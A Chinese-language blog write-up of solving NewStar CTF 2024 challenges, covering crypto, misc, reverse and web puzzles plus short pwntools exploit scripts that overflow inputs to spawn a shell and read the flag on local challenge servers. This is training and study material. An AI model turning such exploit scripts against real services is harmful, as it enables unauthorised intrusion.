前言
感觉基础有点问题,但是因为参加了25Newstar的出题还帮测了一些题目,于是干脆重新打一遍Newstar2024了。
应该主要是Reveres,cry、misc、pwn看情况复现(web吗也加到todolist里吧),感觉Newstar2025 Reverse有些我没测的题目还想做一下,总之这是一个todolist,新生赛的广度确实好玩,适合入门,赞美newstar!
逆向的可能写的简略一点,逆向主要练代码能力,其他方向以学习为主
复现入口:https://ctf.xidian.edu.cn/training/14
我的复现进度比我想的慢好多可恶TT
Week1
Crypto
Base
1
| 4C4A575851324332474E324547554B494A5A4446513653434E564D444154545A4B354D45454D434E4959345536544B474D5134513D3D3D3D
|
cyberchef from hex + magic
1
| flag{B@sE_0f_CrYpt0_N0W}
|
Strange King
1
| ksjr{EcxvpdErSvcDgdgEzxqjql}
|
观察得是凯撒,根据前四位为flag得位移分别为5,7,9,11,以此类推
1
| flag{RngcugFqPqvUvqrNgctkpi}
|
因为flag有意义,随波逐流一下
1
| flag{PleaseDoNotStopLearing}
|
xor
1 2
| m1 = bytes_to_long(bytes(flag[:13], encoding='utf-8')) c1 = m1 ^ bytes_to_long(key)
|
取flag的前13字节当成一个大整数,做法是为了把这一段(13字节)当成一个大字节来异或。
把key 也bytes_to_long转为整数,然后与 m1 做按位异或
1 2
| m2 = flag[13:] c2 = xor(key, m2)
|
取剩下的字节,这里m2是str
这里key是bytes,m2是str,pwntools的xor会把两者处理成bytes并对key循环重复来匹配m2的长度。
那么
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
|
from pwn import xor from Crypto.Util.number import bytes_to_long key = b'New_Star_CTF' c1= 8091799978721254458294926060841 c2= b';:\x1c1<\x03>*\x10\x11u;'
m1 = c1 ^ bytes_to_long(key) m1_bytes = bytes.fromhex(hex(m1)[2:]) m2 = xor(key, c2) print(m1_bytes + m2)
|
一眼秒了
getPrime()生成一个随机素数,n = p*q RSA公钥模数n,powmod(m, e, n)计算密文 c = m^e mod n
https://factordb.com/
分解得到:
1 2
| p = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956044421 q = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956045093
|
现在已知 𝑝,𝑞,𝑛,𝑐,𝑒,可以完全破解RSA。
因为$$φ(n)=(p−1)(q−1)$$ $$d≡e^{−1}(modφ(n))$$ 所以$$d⋅e≡1(modφ(n))$$ 由费马小定理:对原始明文 $$ m^{ed} ≡ m(modn)$$得$$m≡c^d(modn)$$
欧拉函数φ(n) 来表示 小于n并与之互质的正整数
1、 如果n 是质数,则φ ( n ) = n − 1
2、 如果n可以表示成2个互质的数的乘积,即n = p × q,那么φ ( n ) = φ ( p ) × φ ( q )
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from Crypto.Util.number import * from gmpy2 import *
n=52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153 c=48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069 e = 65537 p = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956044421 q = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956045093 phi = (p-1)*(q-1) d = inverse(e, phi) m = int(powmod(c, d, n)) flag = long_to_bytes(m) print(flag)
|
Misc
Labyrinth
打了LSB隐写的标签,用stegslove发现red plane 0时发现一个二维码,扫了一下得到flag
1
| flag{e33bb7a1-ac94-4d15-8ff7-fd8c88547b43}
|
WhereIsFlag
西电的远程确实有点麻烦,我现在下他们那个软件还没西电那个表得自己映射欸。
1 2
| guest@ret2shell-578-7189-1762936515 guest/> cat fake_flag_in_user_home fake_flag{fake_flag}
|
绷不住
1 2
| guest@ret2shell-578-7189-1762936515 self/> cat environ THE_REAL_FLAG_IN_ENVIRON => flag{neWst4R-Ctf-Z0ZA34546c39eef5}
|
decompress
确实第一次见分卷压缩包
正则匹配“3个小写字母 + 1个数字 + 1个小写字母”,爆破密码
掩码格式
pleasingMusic
挺好听的,听了一下中间夹了摩斯密码,找了个在线网站。
https://morsecodegenerator.org/zh/morse-audio-translator
不太对,倒置解读得到EZ_MORSE_CODE
兑换码
提示宽高改写,改个高度就行
PWN
Game
一年过去看到pwn题的第一想法还是想patch()
每轮读取一个int,n10 < 0 || n10 > 10则跳出循环,且一开始调用了alarm(5u),进程在 5 秒后会被 SIGALRM,写个脚本发就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| void __noreturn game() { v2 = __readfsqword(0x28u); n999 = 0; n10 = 0; puts("Let's play a game!"); alarm(5u); while ( 1 ) { printf("pls input you num: "); __isoc99_scanf("%d", &n10); if ( n10 < 0 || n10 > 10 ) break; n999 += n10; if ( n999 > 999 ) system("/bin/sh"); } exit(-1); }
|
exp
1 2 3 4 5 6 7 8
| from pwn import* Host="127.0.0.1" port=64596 p=remote(Host,port,timeout=10) payload=("10\n"*100).encode() p.send(payload) p.interactive()
|
real login
发NewStar!!!就行,用的windows所以写脚本了
1 2 3 4 5 6 7 8
| from pwn import* p = remote("127.0.0.1", 53636, timeout=5) p.sendline(b"NewStar!!!") p.recvuntil(b"congratulations!!") p.sendline(b"cat flag") print(p.recv(timeout=1).decode()) p.interactive()
|
gdb
把 s 设为 “0d000721”,把 mysecretkey123… 放到栈上,然后调用 sub_12E5(s, len(s), key) 把 s“加密/变换”成某个值;接着程序提示你 Input your encrypted data:,把输入的内容与内存里被变换后的 s 做 memcmp(按 n = strlen(s) 比较),相等就会打印 Congratulations! 并把 /flag 的内容读出来写到 stdout。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| __int64 __fastcall main(int a1, char **a2, char **a3) { size_t v3; size_t n; int fd; char s[9]; _QWORD mysecretkey1234567890abcdefghijk[4]; _BYTE buf[1032]; unsigned __int64 v10;
v10 = __readfsqword(0x28u); setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); strcpy(s, "0d000721"); qmemcpy( mysecretkey1234567890abcdefghijk, "mysecretkey1234567890abcdefghijk", sizeof(mysecretkey1234567890abcdefghijk)); printf("Original: %s\n", s); v3 = strlen(s); sub_12E5(s, v3, mysecretkey1234567890abcdefghijk); printf("Input your encrypted data: "); read(0, buf, 0x200uLL); n = strlen(s); if ( !memcmp(s, buf, n) ) { printf("Congratulations!"); fd = open("/flag", 0); memset(buf, 0, 0x100uLL); read(fd, buf, 0x100uLL); write(1, buf, 0x100uLL); } return 0LL; }
|
gdb调一下,有基地址偏移用bbase 0x1847,把s直接读出来是0x4557455355431d5d,
1 2 3 4 5 6 7 8 9 10 11
| from pwn import * p = remote("127.0.0.1", 58367, timeout=5) p.recvuntil(b"Input your encrypted data:") num=0x4557455355431d5d payload=p64(num) p.sendline(payload) p.recvuntil(b"Congratulations!") p.sendline(b"cat flag") print(p.recv(timeout=1).decode()) p.interactive()
|
overwrite
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import *
p = remote("127.0.0.1", 49457)
p.recvuntil(b"pls input the length you want to readin: ") p.sendline(b"-1")
payload = b"A" * 0x30 + b"114515" p.recvuntil(b"pls input want you want to say: ") p.send(payload)
p.interactive()
|
Reverse
Simple_encryption
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| cipher=[0x47, 0x95, 0x34, 0x48, 0xa4, 0x1c, 0x35, 0x88, 0x64, 0x16, 0x88, 0x7, 0x14, 0x6a, 0x39, 0x12, 0xa2, 0xa, 0x37, 0x5c, 0x7, 0x5a, 0x56, 0x60, 0x12, 0x76, 0x25, 0x12, 0x8e, 0x28]
for i in range(len(cipher)): if i % 3 == 0: cipher[i] += 0x1F elif i % 3 == 1: cipher[i] -= 0x29 else: cipher[i] ^= 0x55
print(chr(cipher[i]), end='')
|
base64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| import base64
from hashlib import md5
def base64decode(s): old_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' new_table = 'WHydo3sThiS7ABLElO0k5trange+CZfVIGRvup81NKQbjmPzU4MDc9Y6q2XwFxJ/' s = s.translate(str.maketrans(new_table, old_table)) return base64.b64decode(s)
def decrypt(s): t = base64decode(s) return bytes(t)
print(decrypt('g84Gg6m2ATtVeYqUZ9xRnaBpBvOVZYtj+Tc=').decode())
|
begin
1
| flag{Mak3_aN_3Ff0rt_tO_5eArcH_F0r_th3_f14g_C0Rpse}
|
ezAndroidStudy
1
| flag{Y0u_@r4_900d_andr01d_r4V4rs4r}
|
ez_debug
忘写了,动调就送
Web
web好好玩
PangBai 过家家(1)
level1:
1
| Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsZXZlbCI6MX0.sVTlHQPRzFgVAMZbZrWT5qCKd7zUwYawx9GaFBejOb0
|
这是一段JWT
JWT 结构一般是:
1
| header.payload.signature
|
拆分成三部分:
1 2 3
| header: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 payload: eyJsZXZlbCI6MX0 signature:sVTlHQPRzFgVAMZbZrWT5qCKd7zUwYawx9GaFBejOb0
|
header and payload from base64:
1 2
| {"alg":"HS256","typ":"JWT"} {"level":1}
|
谜语题不写了
会赢吗
按F12在3ntranc3搜到了字符串,一眼base64
1
| <!-- flag第一部分:ZmxhZ3tXQTB3,开始你的新学期吧!:/4cqu1siti0n -->
|
找到第二关http://127.0.0.1:55339/4cqu1siti0n
看到了hint:你似乎对这门叫做4cqu1siti0n的课很好奇?那就来看看控制台吧!
点出神秘代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| async function revealFlag(className) { try { const response = await fetch(`/api/flag/${className}`, { method: 'POST', headers: { 'Content-Type': 'application/json' } }); if (response.ok) { const data = await response.json(); console.log(`恭喜你!你获得了第二部分的 flag: ${data.flag}\n……\n时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/${data.nextLevel}`); } else { console.error('请求失败,请检查输入或服务器响应。'); } } catch (error) { console.error('请求过程中出现错误:', error); } }
console.log("你似乎对这门叫做4cqu1siti0n的课很好奇?那就来看看控制台吧!");
|
这里请求了一个后端接口/api/flag/<className>
1 2 3 4 5
| revealFlag('4cqu1siti0n') Promise {<pending>} 4cqu1siti0n:95 恭喜你!你获得了第二部分的 flag: IV95NF9yM2Fs …… 时光荏苒,你成长了很多,也发生了一些事情。去看看吧:/s34l
|
第三关
1
| <button type="submit">解封!!!</button>
|
按钮被逻辑封印了
1 2 3 4
| if (stateElement.textContent.trim() !== '解封') { messageElement.textContent = '如何是好?'; return; }
|
解封:
1 2
| document.getElementById("state").textContent="解封"; 第三部分Flag: MXlfR3I0c1B, 你解救了五条悟!下一关: /Ap3x
|
浏览器禁用 JavaScript 时.s 这个 class 的元素被显式隐藏了:
1 2 3 4 5 6 7 8 9 10 11 12
| <npscript> <form class="s" action="/api/flag/Ap3x" method="post"> <input type="hidden" name="csrf_token" id="csrf_token" value="hfaousghashgfasbasiouwrda1_"> <button type="submit">无量空处!!</button> </form> </noscript> ``` 解救出来 把 <noscript> 里的隐藏内容插入到页面中,变成可见的 HTML。 ```js document.body.innerHTML += document.querySelector('noscript').innerHTML; document.querySelectorAll('.s').forEach(e => e.style.display = 'block');
|
1
| {"flag":"fSkpKcyF9","nextLevel":null}
|
Week2
Reverse
Dirty_flowers
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| .text:004012F1 50 push eax .text:004012F2 E8 00 00 00 00 call $+5 .text:004012F7 .text:004012F7 loc_4012F7: ; DATA XREF: _main+48↓o .text:004012F7 58 pop eax .text:004012F8 83 C0 0C add eax, (offset loc_401303 - offset loc_4012F7) .text:004012FB 50 push eax .text:004012FC C3 retn .text:004012FC _main endp ; sp-analysis failed .text:004012FC .text:004012FC ; --------------------------------------------------------------------------- .text:004012FD E8 FF 90 db 0E8h, 0FFh, 90h .text:00401300 90 db 90h .text:00401301 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS CTRL-NUMPAD+ TO EXPAND] .text:00401302 ; --------------------------------------------------------------------------- .text:00401302 58 pop eax .text:00401303 .text:00401303 loc_401303:
|
这段全nop了:
push eax把eax压栈,esp-4=eax
call $+5,near call,偏移是 0(表示跳到下一条指令),利用 call 把 EIP 压入栈,不是真跳转。
近跳转near call,本段调用(同一CS),opcode为E8,后面耕者的是32bit的有福换相对偏移
栈上现在(从栈顶向下):
1 2
| [esp] = 0x4012F7 ; 由 call 压入 [esp+4] = 原来被 push eax 压入的值
|
到达 loc_4012F7: 执行 pop eax:从栈顶取eax再把esp+4,所以eax = loc_4012F7
add eax, (offset loc_401303 - offset loc_4012F7)得出eax = loc_4012F7 + (loc_401303 - loc_4012F7) = loc_401303
push eax把eax压栈,然后retn会从栈顶弹出一个值把它作为EIP
因此push eax; retn 的组合等价于 jmp eax(直接跳到 eax 指向的地址)
执行完后,程序流跳至 ``loc_401303
exp:
1 2 3 4 5 6 7
| cipher=[0x2, 0x5, 0x13, 0x13, 0x2, 0x1e, 0x53, 0x1f, 0x5c, 0x1a, 0x27, 0x43, 0x1d, 0x36, 0x43, 0x7, 0x26, 0x2d, 0x55, 0xd, 0x3, 0x1b, 0x1c, 0x2d, 0x2, 0x1c, 0x1c, 0x30, 0x38, 0x32, 0x55, 0x2, 0x1b, 0x16, 0x54, 0xf] flag=[0]*len(cipher) key="dirty_flower" for i in range(len(cipher)): flag[i]=cipher[i]^ord(key[i%len(key)]) print(''.join([chr(x) for x in flag]))
|
Pangbai泰拉记(1)
何意味
1
| flag{I_m_wrong_flag_dont_submit}
|
找到了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| if ( miao | IsDebuggerPresent() ) { qmemcpy(aaa, "nhvviCS", 7); aaa[7] = 127; qmemcpy(&aaa[8], "R{e8%oCrdepIvebcR", 17); aaa[25] = 127; qmemcpy(&aaa[26], "b>&ah{", 6); for ( i = 0; i < 32; ++i ) key[i] ^= aaa[i]; } else { qmemcpy(nhvviguMI?u___o_fWivoM_, "nhvviguMI?u\",o/fWivoM;", 22); nhvviguMI?u___o_fWivoM_[22] = 127; qmemcpy(Homy2.l__, "Homy2.l#{", sizeof(Homy2.l__)); for ( k = 0; k < 32; ++k ) key[k] ^= nhvviguMI?u___o_fWivoM_[k]; }
|
exp:
1 2 3 4 5 6 7 8
| key_init=b"key1key2key3key4key6key7key8key9" flag=[0x63, 0x61, 0x6e, 0x20, 0x79, 0x6f, 0x75, 0x20, 0x66, 0x69, 0x6e, 0x64, 0x20, 0x6d, 0x65, 0x20, 0x63, 0x61, 0x6e, 0x20, 0x79, 0x6f, 0x75, 0x20, 0x66, 0x69, 0x6e, 0x64, 0x20, 0x6d, 0x65, 0x3f] key=bytearray(b'nhvviguMI?u",o/fWivoM;'+bytes([127])+b'Homy2.l#{') for i in range(len(flag)): key[i]=key_init[i]^key[i] flag[i]=flag[i]^key[i%len(key)] print(''.join([chr(x) for x in flag]))
|
Ptrace
直接给两个文件吗那很好了
本来直接写的exp
1 2 3 4 5 6 7
| cipher=[0xcc, 0x8d, 0x2c, 0xec, 0x6f, 0x88, 0xed, 0xeb, 0x2f, 0xed, 0xae, 0xeb, 0x4e, 0xac, 0x2c, 0x8d, 0x8d, 0x2f, 0xeb, 0x6d, 0xcd, 0xed, 0xee, 0xeb, 0xe, 0x8e, 0x4e, 0x2c, 0x6c, 0xac, 0xe7, 0xaf] input=[0]*len(cipher)
for i in range(len(cipher)): input[i]=cipher[i]<<4|(cipher[i]>>4) print(''.join([chr(x) for x in input]))
|
不可见字符,去看父进程,把4改成了3
1
| ptrace(PTRACE_POKEDATA, addr, addr, 3);
|
EXP:
1 2 3 4 5 6 7 8
| cipher=[0xcc, 0x8d, 0x2c, 0xec, 0x6f, 0x88, 0xed, 0xeb, 0x2f, 0xed, 0xae, 0xeb, 0x4e, 0xac, 0x2c, 0x8d, 0x8d, 0x2f, 0xeb, 0x6d, 0xcd, 0xed, 0xee, 0xeb, 0xe, 0x8e, 0x4e, 0x2c, 0x6c, 0xac, 0xe7, 0xaf] input=[0]*len(cipher)
for i in range(len(cipher)): input[i]=cipher[i]<<3&0xff|(cipher[i]>>5) print(''.join([chr(x) for x in input]))
|
UPX
下下来就没UPX壳不知道为什么,RC4动调一下就行。
drink_tea
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| __int64 __fastcall sub_140001180(unsigned int *a1, char *WelcomeToNewStar) { __int64 n4; unsigned int v3; unsigned int v4; int v5; unsigned int i;
v3 = *a1; v4 = a1[1]; v5 = 0; for ( i = 0; i < 32; ++i ) { v5 -= 0x61C88647; v3 += (*(WelcomeToNewStar + 1) + (v4 >> 5)) ^ (v5 + v4) ^ (*WelcomeToNewStar + 16 * v4); v4 += (*(WelcomeToNewStar + 3) + (v3 >> 5)) ^ (v5 + v3) ^ (*(WelcomeToNewStar + 2) + 16 * v3); } *a1 = v3; n4 = 4LL; a1[1] = v4; return n4; }
|
修一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| __int64 __fastcall sub_140001180(uint32_t *v, uint32_t *k) { __int64 n4; uint32_t v0; uint32_t v1; int sum; unsigned int i;
v0 = *v; v1 = v[1]; sum = 0; for ( i = 0; i < 32; ++i ) { sum -= 0x61C88647; v0 += (k[1] + (v1 >> 5)) ^ (sum + v1) ^ (*k + 16 * v1); v1 += (k[3] + (v0 >> 5)) ^ (sum + v0) ^ (k[2] + 16 * v0); } *v = v0; n4 = 4LL; v[1] = v1; return n4; }
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| #include <stdint.h> #include <stdio.h>
void tea_enc(uint32_t* v, uint32_t* k) { uint32_t v0 = v[0], v1 = v[1]; uint32_t sum = 0; uint32_t delta = 0x61C88647; for (int i = 0; i < 32; i++) { sum -= delta; v0 += ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]); v1 += ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]); } v[0] = v0; v[1] = v1; }
void tea_dec(uint32_t* v, uint32_t* k) { uint32_t v0 = v[0], v1 = v[1]; uint32_t delta = 0x61C88647; uint32_t sum = -32 * delta;
for (int i = 0; i < 32; i++) { v1 -= ((v0 << 4) + k[2]) ^ (v0 + sum) ^ ((v0 >> 5) + k[3]); v0 -= ((v1 << 4) + k[0]) ^ (v1 + sum) ^ ((v1 >> 5) + k[1]); sum += delta ; } v[0] = v0; v[1] = v1; }
int main() { uint32_t v[4][2] = { {0xb3f72078, 0xdace42c5}, {0x1a215985, 0x595a5626}, {0xed0d0229, 0xeeb9a807}, {0x87115936, 0x24235cfd} };
uint32_t k[4]={0x636c6557, 0x54656d6f, 0x77654e6f, 0x72617453}; for(int i=0;i<4;i++) { tea_dec(v[i], k); printf("%x", v[i][0]); printf("%x", v[i][1]); }
return 0; }
|
ezencrypt
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from Crypto.Cipher import AES from Crypto.Util.Padding import unpad import base64
cipher=bytearray([0xc2, 0x6c, 0x73, 0xf4, 0x3a, 0x45, 0xe, 0xba, 0x47, 0x81, 0x2a, 0x26, 0xf6, 0x79, 0x60, 0x78, 0xb3, 0x64, 0x6d, 0xdc, 0xc9, 0x4, 0x32, 0x3b, 0x9f, 0x32, 0x95, 0x60, 0xee, 0x82, 0x97, 0xe7, 0xca, 0x3d, 0xaa, 0x95, 0x76, 0xc5, 0x9b, 0x1d, 0x89, 0xdb, 0x98, 0x5d]) key=b"meow" aes_key=b"IamEzEncryptGame"
def RC4(data: bytes, key: bytes) -> bytearray: S = list(range(256)) j = 0 out = bytearray() for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i] i = j = 0 for char in data: i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256] out.append(char ^ K) return out
native_en=RC4(cipher, key)
for i in range(len(native_en)): native_en[i]^=key[i%len(key)]
ret_java_cip=base64.b64decode(native_en)
cipher_aes = AES.new(aes_key, AES.MODE_ECB) flag = unpad(cipher_aes.decrypt(ret_java_cip), AES.block_size) print(flag.decode())
|
Week3
Reverse
011vm